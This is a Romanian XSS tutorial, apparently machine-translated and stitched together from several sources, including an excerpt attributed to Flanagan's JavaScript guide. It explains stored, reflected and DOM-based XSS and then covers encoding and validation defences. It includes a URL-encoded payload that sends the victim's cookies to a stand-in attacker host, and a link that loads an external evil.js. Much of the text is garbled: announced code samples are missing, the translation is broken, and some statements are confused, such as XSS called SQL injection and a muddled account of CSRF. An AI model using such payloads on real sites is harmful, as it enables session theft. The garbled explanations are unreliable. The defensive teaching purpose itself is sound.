Prin XSS, infractorii cibernetici experimentați integrează scripturi care rulează pe acestea în paginile site-urilor victimelor care sunt executate în momentul vizitării resurselor infectate. Există mai multe tipuri de vulnerabilități XSS cu grade diferite de severitate.
Caracteristici ale vulnerabilității pasive și active
Ar trebui să fiți cel mai atent cu o vulnerabilitate activă. Când un atacator își injectează codul SQL într-o bază de date accesibilă sau într-un fișier de pe server, fiecare vizitator al resursei infectate poate deveni o victimă. Astfel de locuri sunt adesea integrate, astfel încât chiar și datele procesate de protecția dvs. stocate în baza de date pot reprezenta un anumit pericol.
Crearea unei vulnerabilități XSS pasive necesită o anumită ingeniozitate din partea atacatorului. Fie vă ademenesc către o resursă falsă cu tot felul de linkuri, fie încearcă să vă redirecționeze către site-ul solicitat prin orice mijloace. Acest lucru se întâmplă de obicei prin scrisori din administrarea fictivă a paginii pe care o vizitați, cu cereri de verificare a setărilor contului. O varietate de mesaje spam sau postări pe forumuri vizitate pe scară largă este, de asemenea, utilizată în mod activ.
Vulnerabilitatea XSS pasivă poate proveni atât din parametrii POST, cât și din parametrii GET. Primul este caracterizat de o serie de trucuri diferite, al doilea este codificarea șirului de url sau inserarea de valori suplimentare.
Furtul de cookie-uri
Cel mai adesea, cookie-urile dvs. devin ținta unui atac XSS. Uneori conțin informații valoroase, inclusiv nume de utilizator și parole, sau hash-ul lor. Dar furtul de sesiuni active de site-uri care sunt importante pentru dvs. sunt, de asemenea, destul de periculoase, așa că nu uitați să faceți clic pe butonul „ieșire” chiar și atunci când vizitați site-uri cu computer de acasă... Deși majoritatea resurselor pentru a preveni astfel de acțiuni utilizează limitarea automată a duratei sesiunii. Restricțiile de domeniu ale XMLHttpRequest nu protejează împotriva unor astfel de atacuri.
Date din formulare completabile
Citirea informațiilor în formulare completabile este, de asemenea, populară. Pentru a face acest lucru, evenimentele sunt monitorizate (trimise) pe paginile de interes și toate datele furnizate sunt trimise și către serverele atacatorilor. Astfel de atacuri sunt în multe feluri similare cu atacurile de phishing, dar furtul nu are loc pe un site fals, ci pe un site real cu o bună reputație.
Atacuri DDoS distribuite
Resursele multidirecționale sunt folosite și pentru atacurile XSS. Datorită vulnerabilității XSS, solicitările care vin către ei sunt redirecționate către serverul pirat, ca urmare a cărui protecție nu rezistă.
Solicitare de falsificare inter-site (CSRF / XSRF)
De asemenea, au puțin de-a face cu XSS. Acesta este un tip separat de vulnerabilitate utilizat împreună cu XSS. Scopul lor este de a atrage un utilizator autorizat de pe un site invulnerabil către o pagină falsă vulnerabilă pentru a efectua operațiuni frauduloase. De exemplu, un client care utilizează un sistem de plată electronică este ademenit către un site vulnerabil care transferă bani în conturile atacatorilor. Prin urmare, majoritatea sistemelor de plată oferă protecție prin introducerea suplimentară a unei parole sau a unui cod care confirmă operațiunea.
Injecție cu viermi XSS
Un astfel de atac XSS pe site a apărut odată cu dezvoltarea unor rețele sociale cunoscute (Vkontakte, Twitter și altele). Prin intermediul acestora, grupuri întregi de utilizatori primesc legături XSS vulnerabile cu scripturi integrate care trimit spam în rețea în numele lor. De asemenea, transferul copierii informațiilor personale și fotografiilor către resursele atacatorilor este, de asemenea, practicat pe scară largă.
Exemple de XSS inofensive
Rețineți că multe tipuri de contoare acționează și ca XSS active. Acestea transmit date despre vizitatorii înregistrați (adresele lor IP, date despre echipamentele utilizate).
Numai acest cod este integrat în computerul dvs. după voia dvs. Alte XSS similare includ un număr de cereri AJAX între domenii.
Scripturi între site-uri sau XSS. Cross-site scripting (cross-site scripting).
Vulnerabilitatea Cross-site Scripting permite unui atacator să transmită codul executabil către server, care va fi redirecționat către browserul utilizatorului. Acest cod este de obicei scris în HTML / JavaScript, dar pot fi utilizate VBScript, ActiveX, Java, Flash sau alte tehnologii acceptate de browser.
Codul trimis este executat în contextul de securitate (sau zona de securitate) a serverului vulnerabil. Prin utilizarea acestor privilegii, codul poate citi, modifica sau transmite date sensibile accesibile prin browser. Utilizatorul atacat poate avea un cont compromis (furt de cookie), browserul său poate fi redirecționat către alt server sau conținutul serverului poate fi falsificat. În urma unui atac planificat cu atenție, un atacator poate folosi browserul victimei pentru a vizualiza paginile site-ului în numele utilizatorului atacat. Codul poate fi transmis de un atacator în URL, în antetele protocolului de solicitare HTTP (Cookie, user-agent, refferer), în valorile câmpurilor de formular etc.
Există trei tipuri de atacuri de scriptare între site-uri: non-persistent non-persistent(reflectat), persistent persistent(salvat) și bazat pe DOM. Principala diferență între persistent și non-persistent este că în versiunea reflectată, transferul codului către server și returnarea acestuia către client se efectuează în cadrul unei singure cereri HTTP, iar în cea stocată - în altele.
Implementarea unui atac nepersistent necesită ca utilizatorul să urmeze linkul generat de atacator (linkul poate fi trimis prin e-mail, ICQ etc.). În timpul încărcării site-ului, codul încorporat în adresa URL sau antetele cererii va fi transmis clientului și executat în browserul său.
O vulnerabilitate persistentă apare atunci când codul este transmis către un server și stocat acolo pentru o perioadă de timp. Cele mai populare ținte ale atacurilor în acest caz sunt forumurile, mailul cu Interfață webși chat-uri. Pentru un atac, utilizatorul nu trebuie să urmeze linkul; este suficient să viziteze site-ul vulnerabil.
Exemplu. Atac persistent. Multe site-uri au forumuri și forumuri care permit utilizatorilor să posteze. Un utilizator înregistrat este de obicei identificat printr-un număr
sesiune stocată într-un cookie. Dacă un atacator lasă un mesaj care conține cod JavaScript, acesta va avea acces la ID-ul sesiunii utilizatorului. Exemplu de cod pentru trecerea cookie-urilor:
Exemplu. Varianta reflectată (nepersistentă) a atacului. Multe servere oferă utilizatorilor posibilitatea de a căuta conținutul serverului. De obicei, solicitarea este transmisă într-o adresă URL și conținută în pagina rezultată.
De exemplu, când faceți clic pe adresa URL http: //portal.example/search? Q = „bere proaspătă”, utilizatorului i se va afișa o pagină care conține rezultatele căutării și expresia: „S-au găsit 0 pagini pentru solicitarea dvs. de proaspăt bere". Dacă Javascript este transmis ca expresie de căutare, acesta va fi executat în browserul utilizatorului. Exemplu:
Http: //portal.example/search/? Q =
Codificarea URLEncode poate fi utilizată pentru a ascunde codul scriptului
Http: //portal.example/index.php? Sessionid = 12312312 & username =% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74 % 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 6D% 70% 6C% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 63 % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E
Flanagan David JavaScript
Extras din cartea JavaScript a lui Flanagan David Ghidul complet Ediția a V-a.
Termenul „cross scripting site” sau XSS se referă la o vulnerabilitate a computerului în care un atacator injectează etichete HTML sau scripturi în documente de pe un site vulnerabil. Este obișnuit ca dezvoltatorii web să scrie scripturi de pe server pentru a se apăra împotriva atacurilor XSS. Scripturile JavaScript laterale ar trebui să fie, de asemenea, conștiente de atacurile XSS și să ia măsuri de protecție împotriva lor.
O pagină web este considerată vulnerabilă la atacurile XSS dacă generează dinamic conținut de document pe baza datelor utilizatorului care nu au fost preprocesate pentru a elimina codul HTML în linie. Ca exemplu banal, luați în considerare următoarea pagină web care utilizează JavaScript pentru a saluta un utilizator după nume:
A doua linie a scriptului apelează metoda window.location.search.substring pentru a prelua porțiunea din bara de adrese care începe cu caracterul? Conținutul documentului generat dinamic este apoi adăugat folosind metoda document.write (). Acest scenariu presupune că pagina web va fi accesată folosind așa ceva Adrese URL:
Http://www.example.com/greet.html?name=David
În acest caz, va fi afișat textul „Salut David”. Dar ce se întâmplă dacă pagina este solicitată folosind următoarea adresă URL:
Http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E
Cu acest conținut URL, scriptul va genera dinamic un alt script (codurile% 3C și% 3E sunt paranteze unghiulare)! V acest caz scriptul inserat va afișa pur și simplu o casetă de dialog, care este inofensivă. Dar imaginați-vă acest caz:
Http: //siteA/greet.html? Name =% 3Cscript src = siteB / evil.js% 3E% 3C / script% 3E
Scripturile între site-uri se numesc astfel deoarece mai multe site-uri sunt implicate în atac. Site-ul B (sau chiar Site-ul C) include un link special creat (ca cel care tocmai a fost arătat) către Site-ul A, care conține un script de la Site-ul B. Scriptul evil.js este găzduit pe site-ul B al atacatorului, dar acum acest script este încorporat în site-ul A și poate face orice dorește cu conținutul site-ului A. Poate șterge pagina sau poate provoca alte perturbări ale site-ului (de exemplu, refuzul de serviciu, care este discutat în secțiunea următoare). Acest lucru ar putea afecta negativ vizitatorii site-ului A. Este mult mai periculos ca un astfel de script rău intenționat să poată citi conținutul cookie-urilor stocate pe site-ul A (care conțin eventual numerele de cont sau alte informații personale) și să trimită aceste date înapoi la site-ul B. Scriptul încorporat poate chiar să urmărească apăsările de taste și să trimită aceste date pe site-ul B.
O modalitate universală de a preveni atacurile XSS este eliminarea Etichete HTML din toate datele de origine discutabilă înainte de a le utiliza pentru a crea dinamic conținutul documentului. Pentru a remedia această problemă în fișierul greet.html afișat anterior, adăugați următoarea linieîntr-un script conceput pentru a elimina parantezele unghiulare din jurul etichetei". Orice utilizator care vizitează pagina va primi acum următorul răspuns:
Ultimul comentariu:
Când browserul utilizatorului încarcă pagina, acesta va executa totul, inclusiv JavaScript conținut în etichete ... Acest lucru indică faptul că simpla prezență a unui script injectat de un atacator este o problemă, indiferent de codul de script particular care se execută de fapt.
Partea a doua: atac XSS
Participanții la atac XSS
Înainte de a descrie în detaliu cum funcționează un atac XSS, trebuie să identificăm actorii implicați în atacul XSS. În general, există trei participanți la un atac XSS: Site-ul web, victimă, și cracker.
- Site-ul web produce pagini HTML pentru utilizatorii care le solicită. În exemplele noastre, este localizat la http: // website /.
- Baza de date a site-ului web este o bază de date care stochează unele dintre datele introduse de utilizatori pe paginile site-ului.
- Victimă Este un utilizator obișnuit al site-ului care solicită pagini de la el folosind browserul său.
- Atac Este un atacator care intenționează să lanseze un atac asupra victimei prin exploatarea unei vulnerabilități XSS pe site.
- Server cracker Este un server web sub controlul unui atacator cu singurul scop de a fura informațiile confidențiale ale victimei. În exemplele noastre, este localizat la http: // atacator /.
Exemplu de scenariu de atac
Acest script va crea o cerere HTTP către o altă adresă URL care va redirecționa browserul utilizatorului către serverul atacatorului. Adresa URL include cookie-urile victimei ca parametru de solicitare, când o cerere HTTP ajunge la serverul atacatorului, atacatorul poate extrage aceste cookie-uri din cerere. După ce atacatorul a primit cookie-urile, le poate folosi pentru a identifica victima și a lansa un atac ulterior.
De acum înainte, va fi apelat codul HTML de mai sus șir rău intenționat sau script rău intenționat... Este important să înțelegem că șirul în sine este rău intenționat numai dacă este procesat în cele din urmă ca HTML în browserul victimei, ceea ce se poate întâmpla numai dacă există o vulnerabilitate XSS pe site.
Cum funcționează acest exemplu de atac
Diagrama de mai jos prezintă un exemplu de atacator care efectuează un atac:
- Atacatorul folosește unul dintre formularele site-ului web pentru a insera un șir rău intenționat în baza de date a site-ului web.
- Victima solicită o pagină de pe un site web.
- Site-ul include un șir rău intenționat din baza de date în răspuns și îl trimite victimei.
- Browserul victimei rulează scriptul rău intenționat din interiorul răspunsului, trimitând cookie-ul victimei la serverul atacatorului.
Tipuri XSS
Scopul unui atac XSS este întotdeauna să execute un program rău intenționat Script JavaScriptîn browserul victimei. Există mai multe modalități fundamental diferite de a atinge acest obiectiv. Atacurile XSS sunt adesea clasificate în trei tipuri:
- XSS (persistent) stocat unde șirul rău intenționat provine din baza de date a site-ului web.
- Reflectat (volatil) XSS unde șirul rău intenționat este generat din solicitarea victimei.
- DOMs XSS unde vulnerabilitatea apare mai degrabă în codul de pe partea clientului decât în codul de pe partea de server.
Exemplul anterior arată un atac XSS stocat. Vom descrie acum alte două tipuri de atacuri XSS: XSS reflectate și DOM XSS.
XSS reflectat
Într-un atac XSS reflectat, șirul rău intenționat face parte din solicitarea victimei către site. Site-ul acceptă și introduce acest șir rău intenționat în răspunsul pe care îl trimite înapoi utilizatorului. Diagrama de mai jos ilustrează acest scenariu:
- Victima este păcălită de atacator să trimită o solicitare URL către site-ul web.
- Site-ul include un șir rău intenționat de la adresa URL a solicitării în răspunsul victimei.
- Browserul victimei execută scriptul rău intenționat conținut în răspuns, trimitând cookie-ul victimei la serverul atacatorului.
Cum să vă apărați cu succes împotriva atacului XSS?
Un atac XSS reflectat poate părea inofensiv, deoarece solicită victimei să trimită o cerere în numele ei care conține un șir rău intenționat. Deoarece nimeni nu se va ataca în mod voluntar pe sine, pare să nu existe nicio modalitate de a efectua efectiv atacul.
După cum se dovedește, există cel puțin două modalități comune de a determina victima să lanseze un atac XSS reflectat împotriva lor:
- Dacă utilizatorul este o anumită persoană, atacatorul poate trimite o adresă URL rău intenționată victimei (de exemplu, prin e-mail sau mesagerie instant) și o poate păcăli deschizând linkul pentru a vizita site-ul web.
- Dacă ținta este un grup mare de utilizatori, un atacator ar putea posta un link către un URL rău intenționat (de exemplu, pe propriul său site web sau pe o rețea socială) și să aștepte ca vizitatorii să facă clic pe link.
Ambele metode sunt similare și ambele pot avea mai mult succes prin utilizarea serviciilor de scurtare a adreselor URL pentru a masca șirul rău intenționat de la utilizatorii care ar putea să-l identifice.
XSS în DOM
DOM XSS este o variantă atât a unui atac XSS stocat, cât și reflectat. În acest atac XSS, șirul rău intenționat nu este procesat de browserul victimei până când nu se execută JavaScript-ul real al site-ului. Diagrama de mai jos ilustrează acest scenariu pentru un atac XSS reflectat:
- Atacatorul creează un URL care conține un șir rău intenționat și îl trimite victimei.
- Victima este păcălită de atacator să trimită o solicitare URL către site-ul web.
- Site-ul acceptă cererea, dar nu include șirul rău intenționat în răspuns.
- Browserul victimei execută scriptul legitim conținut în răspuns, în urma căruia scriptul rău intenționat va fi inserat în pagină.
- Browserul victimei execută scriptul rău intenționat inserat în pagină, trimitând cookie-ul victimei la serverul atacatorului.
Care este diferența dintre XSS în DOM?
În exemplele anterioare de atacuri XSS stocate și reflectate, serverul injectează script rău intenționat în pagină, care este apoi redirecționat ca răspuns către victimă. Când browserul victimei primește un răspuns, presupune că scriptul rău intenționat face parte din conținutul legitim al paginii și îl execută automat la timpul de încărcare a paginii, la fel ca orice alt script.
În exemplul de atac DOM XSS, scriptul rău intenționat nu este inserat ca parte a paginii; singurul script care este executat automat în timpul încărcării paginii este partea legitimă a paginii. Problema este că acest script legitim folosește direct introducerea utilizatorului pentru a adăuga HTML la pagină. Deoarece șirul rău intenționat este inserat în pagină folosind innerHTML, acesta este analizat ca HTML, determinând executarea scriptului rău intenționat.
Această distincție este mică, dar foarte importantă:
- În XSS tradițional, JavaScript rău intenționat este executat la încărcarea paginii, ca parte a codului HTML trimis de server.
- În cazul XSS din DOM, JavaScript-ul rău intenționat este executat după ce pagina este încărcată, determinând acea pagină JavaScript legitimă să acceseze intrarea utilizatorului (care conține șirul rău intenționat) într-un mod nesigur.
Cum funcționează XSS în DOM?
În exemplul anterior, JavaScript nu este necesar; serverul poate genera tot HTML-ul singur. Dacă codul de pe partea serverului nu ar avea vulnerabilități, site-ul web nu ar fi vulnerabil la vulnerabilitatea XSS.
Cu toate acestea, pe măsură ce aplicațiile web devin mai avansate, din ce în ce mai multe pagini HTML sunt generate folosind JavaScript pe partea clientului, mai degrabă decât pe server. În orice moment, conținutul trebuie să se schimbe fără a actualiza întreaga pagină, acest lucru este posibil folosind JavaScript. În special, acesta este cazul când pagina este reîmprospătată după o cerere AJAX.
Aceasta înseamnă că vulnerabilitățile XSS pot fi prezente nu numai în partea de server a codului site-ului dvs., ci și în partea JavaScript a codului client al site-ului dvs. Prin urmare, chiar și cu codul complet sigur al serverului, este posibil ca codul clientului să nu fie în siguranță pentru a include datele introduse de utilizator atunci când DOM-ul este actualizat după încărcarea paginii. Dacă se întâmplă acest lucru, atunci codul din partea clientului va permite un atac XSS fără vina codului din partea serverului.
Este posibil ca XSS bazat pe DOM să nu fie vizibil pentru server
Există un caz special de atac DOM XSS în care șirul rău intenționat nu este trimis niciodată la serverul site-ului web: acest lucru se întâmplă atunci când șirul rău intenționat este conținut într-o porțiune din identificatorul URL-ului (orice după caracterul #). Browserele nu trimit această porțiune a adresei către server, astfel încât site-ul web nu poate fi accesat prin codul serverului. Cu toate acestea, codul din partea clientului are acces la acesta și, prin urmare, este posibil să efectuați un atac XSS prin procesare nesigură.
Acest caz nu se limitează la identificatorul fragmentului. Există alte informații de utilizator care sunt invizibile pentru server, cum ar fi noile caracteristici HTML5, cum ar fi LocalStorage și IndexedDB.
Partea a treia:
Prevenirea XSS
Tehnici de prevenire XSS
Ca reamintire, XSS este un atac de injectare a codului: introducerea utilizatorului este interpretată din greșeală ca un cod rău intenționat. Este necesară o manipulare sigură a intrării pentru a preveni acest tip de injectare de cod. Pentru un dezvoltator web, există două moduri fundamental diferite de a efectua procesarea securizată a intrărilor:
- Codificare este un mod care permite utilizatorului să introducă date doar ca date și nu permite browserului să fie procesat ca cod.
- Validare este o modalitate de a filtra datele introduse de utilizator astfel încât browserul să le interpreteze ca cod fără comenzi rău intenționate.
Deși este esențial diferite metode Prevenirea XSS, au mai multe lucruri în comun care sunt importante de înțeles atunci când se utilizează oricare dintre ele:
Context Manipularea în siguranță a intrărilor trebuie făcută diferit în funcție de locul în care este utilizată intrarea utilizatorului pe pagină. de intrare / ieșire Procesarea securizată a intrărilor poate fi efectuată fie atunci când site-ul dvs. primește intrări ( trafic de intrare) sau chiar înainte ca site-ul să introducă datele utilizatorului în conținutul paginii (de ieșire). Client / Server Prelucrarea securizată a intrării se poate face fie din partea clientului, fie din partea serverului, fiecare dintre acestea fiind necesară în circumstanțe diferite.
Înainte de a explica în detaliu cum funcționează codarea și validarea, descriem fiecare dintre aceste puncte.
Gestionarea datelor introduse de utilizator în contexte
Există o mulțime de contexte pe o pagină web în care poate fi aplicată introducerea utilizatorului. Pentru fiecare dintre ele, trebuie respectate reguli speciale, astfel încât introducerea utilizatorului să nu poată „scăpa” din contextul său și să nu poată fi interpretată ca un cod rău intenționat. Următoarele sunt cele mai frecvente contexte:
Cât de importante sunt contextele?
În toate contextele descrise, poate apărea o vulnerabilitate XSS dacă introducerea utilizatorului a fost inserată înainte de prima codificare sau validare. Un atacator poate injecta cod rău intenționat pur și simplu inserând un separator de închidere pentru acest context urmat de cod rău intenționat.
De exemplu, dacă la un moment dat un site web include introducerea utilizatorului direct într-un atribut HTML, un atacator ar putea injecta un script rău intenționat începând introducerea cu ghilimele, așa cum se arată mai jos:
Acest lucru ar fi putut fi prevenit prin simpla eliminare a tuturor ghilimelelor din introducerea utilizatorului și ar fi bine, dar numai în acest context. Dacă intrarea a fost inserată într-un context diferit, delimitatorul de închidere va fi diferit și va fi posibilă injecția. Din acest motiv, manipularea în condiții de siguranță a intrării trebuie să fie întotdeauna adaptată la contextul în care va fi inserată intrarea utilizatorului.
Gestionarea intrărilor utilizatorilor de intrare / ieșire
Instinctiv, s-ar putea părea că XSS poate fi prevenit prin codificarea sau validarea tuturor datelor introduse de utilizator imediat ce site-ul nostru le primește. În acest fel, orice șiruri rău intenționate vor fi deja neutralizate ori de câte ori sunt incluse în pagină, iar scripturile de generare HTML nu vor trebui să se îngrijoreze de gestionarea în siguranță a intrărilor utilizatorului.
Problema este că, așa cum s-a descris anterior, introducerea utilizatorului poate fi inserată în mai multe contexte de pe pagină. Și nu există o modalitate ușoară de a determina când intrarea utilizatorului intră în context - cum va fi inserată în cele din urmă și aceeași intrare a utilizatorului trebuie adesea inserată în contexte diferite. Bazându-ne pe gestionarea intrărilor de intrare pentru a preveni XSS, creăm o soluție foarte fragilă, care va fi predispusă la erori. (Citatele magice PHP vechi sunt un exemplu de astfel de soluție.)
În schimb, gestionarea intrărilor de ieșire ar trebui să fie principala dvs. linie de apărare împotriva XSS, deoarece poate lua în considerare contextul specific al intrărilor utilizatorului. Într-o oarecare măsură, validarea de intrare poate fi utilizată pentru a adăuga un strat secundar de protecție, dar mai multe despre asta mai târziu.
Unde este posibil să gestionați în siguranță intrările utilizatorului
În majoritatea aplicațiilor web moderne, introducerea utilizatorului este tratată atât pe codul de pe server, cât și pe cel de pe client. Pentru a vă proteja împotriva tuturor tipurilor de XSS, procesarea securizată a intrării trebuie făcută atât în codul serverului, cât și în codul clientului.
- Pentru a vă proteja împotriva XSS tradițional, manipularea sigură a intrărilor trebuie făcută în codul de pe server. Acest lucru se face folosind un anumit limbaj acceptat de server.
- Pentru a vă proteja împotriva unui atac XSS în DOM, unde serverul nu primește niciodată un șir rău intenționat (de exemplu, atacul de fragment ID descris anterior), tratarea sigură a intrărilor trebuie făcută în codul clientului. Acest lucru se face folosind JavaScript.
Acum, că am explicat de ce contează contextul, de ce este importantă distincția între procesarea intrărilor de intrare și de ieșire și de ce procesarea sigură a intrărilor trebuie făcută atât pe partea clientului, cât și pe cea a serverului, putem explica mai departe. gestionarea intrărilor (codificare și validare) sunt efectiv efectuate.
Codificare
Codificarea este o ieșire dintr-o situație în care este necesar ca browserul să interpreteze introducerea utilizatorului doar ca date, nu ca cod. Cel mai popular tip de codificare în dezvoltarea web este mascarea HTML, care convertește caractere precum < și > v < și > respectiv.
Următorul pseudocod este un exemplu al modului în care intrarea utilizatorului (introducerea utilizatorului) poate fi codificată folosind mascare HTML și apoi inserată într-o pagină folosind scriptul de pe server:
imprimare " "
imprimare „Ultimul comentariu:”
print encodeHtml (userInput)
imprimare ""
Dacă utilizatorul introduce următoarea linie, HTML rezultat va arăta astfel:
Ultimul comentariu:
Deoarece toate caracterele cu o semnificație specială au fost mascate, browserul nu va analiza nicio parte din introducerea utilizatorului, cum ar fi HTML.
Cod de client și server
Atunci când efectuați codificarea client-side, utilizați întotdeauna Limbaj JavaScript care are funcții încorporate care codifică date pentru contexte diferite.
Când efectuați codificarea în codul server-server, vă bazați pe funcțiile disponibile în limba sau cadrul dvs. Datorită numărului mare de limbi și cadre disponibile, acest lucru tutorial nu va acoperi detaliile codării într-un anumit limbaj sau cadru de server. Cu toate acestea, caracteristicile de codificare JavaScript partea clientului sunt de asemenea folosite la scrierea codului server.
Codificare partea clientului
Când codificați intrarea utilizatorului din partea clientului cu JavaScript, există mai multe metode și proprietăți încorporate care codifică automat toate datele într-un stil contextual:
Ultimul context menționat mai sus (valori în JavaScript) nu este inclus în această listă, deoarece JavaScript nu oferă un mod încorporat de codificare a datelor care ar fi incluse în codul sursă JavaScript.
Limitări de codificare
Chiar și atunci când codificați, este posibil să utilizați șiruri rău intenționate în anumite contexte. Un prim exemplu în acest sens este când introducerea utilizatorului este utilizată pentru a furniza o adresă URL, ca în exemplul de mai jos:
document.querySelector ("a"). href = userInput
Deși valoarea specificată în proprietatea elementului href o codifică automat astfel încât să devină nimic mai mult decât valoarea atributului, aceasta în sine nu împiedică un atacator să introducă o adresă URL care începe cu „javascript:”. Când se face clic pe link, indiferent de construcție, va fi executat JavaScript încorporat în interiorul adresei URL.
Codificarea nu este, de asemenea, o soluție eficientă atunci când doriți ca utilizatorii să poată utiliza unele dintre codurile HTML de pe pagină. Un exemplu ar fi o pagină de profil de utilizator în care un utilizator poate utiliza HTML personalizat. Dacă acest cod HTML simplu este codificat, pagina de profil poate consta doar din text simplu.
În astfel de situații, codificarea trebuie completată de validare, pe care o vom cunoaște în continuare.
Validare
Validarea este actul de a filtra intrările utilizatorului astfel încât toate părțile rău intenționate ale acestuia să fie eliminate fără a fi nevoie să eliminați tot codul din acesta. Unul dintre cele mai utilizate tipuri de validare în dezvoltarea web vă permite să utilizați unele elemente HTML (de exemplu, și ) dar interzicerea altora (de ex.